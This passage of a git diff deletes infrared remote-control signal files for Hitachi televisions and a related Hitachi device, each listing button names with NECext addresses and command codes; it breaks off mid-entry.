NECext -address: 50 AD 00 00 -command: 06 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 07 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 09 00 00 00 -# -name: RGB_1 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 09 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0A 00 00 00 -# -name: RGB_2 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0A 00 00 00 -# -name: AV1 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0B 00 00 00 -# -name: AV2 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0C 00 00 00 -# -name: AV3 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0D 00 00 00 -# -name: AV4 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0E 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 14 00 00 00 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 14 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 15 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 15 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 16 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 17 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 17 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 18 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 18 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 19 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir deleted file mode 100644 index d31f9ea9b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 81 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 84 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 85 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 86 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 87 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 88 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 89 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8D 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 90 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 92 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 93 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 94 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 95 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 97 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 99 00 00 00 -# -name: SVCS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: E9 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F0 00 00 00 -# -name: SCHED -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir deleted file mode 100644 index d7d5c09fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir +++ /dev/null @@ -1,1202 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_8_(VWX) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_9_(YZ) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: 100/ENT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: ENTER/100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: PIP_SURF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: PIP_CHANNEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: PIP_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: ANT. -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 07 00 00 00 -# -name: AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: ANT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT_NEXT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUTS -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LAST_CHAN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: PREV._CHANNEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: TV_0_(&!/) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: TV_1_(ABC) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: TV_2_(DEF) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: TV_3_(GHI) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: USER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: SLEEP_(-) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: -- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: C.S. -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: OFF-TIMER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: TV_VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: INPUT_RGB2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: A/V_NET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: INPUT_A/V_NET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: ANT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: TV_VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: INPUT_AV_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: TV_4_(JKL) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_5_(MNO) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6_(PQR) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: TV_7_(STU) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: INPUT_VIDEO_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 20 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 21 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 21 00 00 00 -# -name: VID_1__SAT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: VID_2__DVD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 23 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 23 00 00 00 -# -name: VID_3__REC. -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 23 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 24 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 24 00 00 00 -# -name: VID_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 24 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 28 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 29 00 00 00 -# -name: INPUT_VIDEO_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 2C 00 00 00 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 2E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 2E 00 00 00 -# -name: INPUT_VIDEO_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 2F 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 33 00 00 00 -# -name: TV_SELECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 33 00 00 00 -# -name: TV/RGB -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 35 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 35 00 00 00 -# -name: FAV_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 38 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3C 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3C 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3C 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3D 00 00 00 -# -name: VID_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3D 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_VIDEO_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 44 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 45 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 46 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 47 00 00 00 -# -name: INPUT_AV_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4F 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 51 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 58 00 00 00 -# -name: DTV/SAT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 58 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 59 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 59 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 59 00 00 00 -# -name: PIP_MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: PIP_MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: PICTURE_RESET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 -# -name: PICTURE_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: +_(PLUS) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: PICTURE_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: -_(MINUS) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: PIP_INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: DAY/NIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5F 00 00 00 -# -name: PIP_FREEZE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 61 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 61 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 61 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 61 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 64 00 00 00 -# -name: ASPECT_16:9_STANDARD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 65 00 00 00 -# -name: ASPECT_16:9_ZOOM -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 66 00 00 00 -# -name: ASPECT_4:3_STANDARD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 67 00 00 00 -# -name: ASPECT_4:3_EXPAND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 68 00 00 00 -# -name: ASPECT_4:3_ZOOM1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 69 00 00 00 -# -name: ASPECT_4:3_ZOOM2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6A 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6F 00 00 00 -# -name: TV_ASPECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: TV_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: TV_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: TV_> -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: TV_< -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: DAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 74 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 75 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 76 00 00 00 -# -name: CHANNEL_/_PAGE_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: A0 00 00 00 -# -name: INPUT_RGB1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: A1 00 00 00 -# -name: SWIVEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: AC 00 00 00 -# -name: CHANNEL_/_PAGE_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: B0 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: C0 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: D0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir deleted file mode 100644 index 841aff4f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCREEN_16:9 -type: parsed -protocol: NECext -address: 50 8F 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir deleted file mode 100644 index a184eab72..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 02 00 00 00 -# -name: PINP -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 06 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 07 00 00 00 -# -name: RGB1 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 09 00 00 00 -# -name: RGB2 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0A 00 00 00 -# -name: AV1 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0B 00 00 00 -# -name: AV2 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0C 00 00 00 -# -name: AV3 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0D 00 00 00 -# -name: AV4 -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 0E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 13 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 14 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 15 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 16 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 17 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 18 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 19 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir deleted file mode 100644 index a5fbe47ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir deleted file mode 100644 index 0ef331254..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: 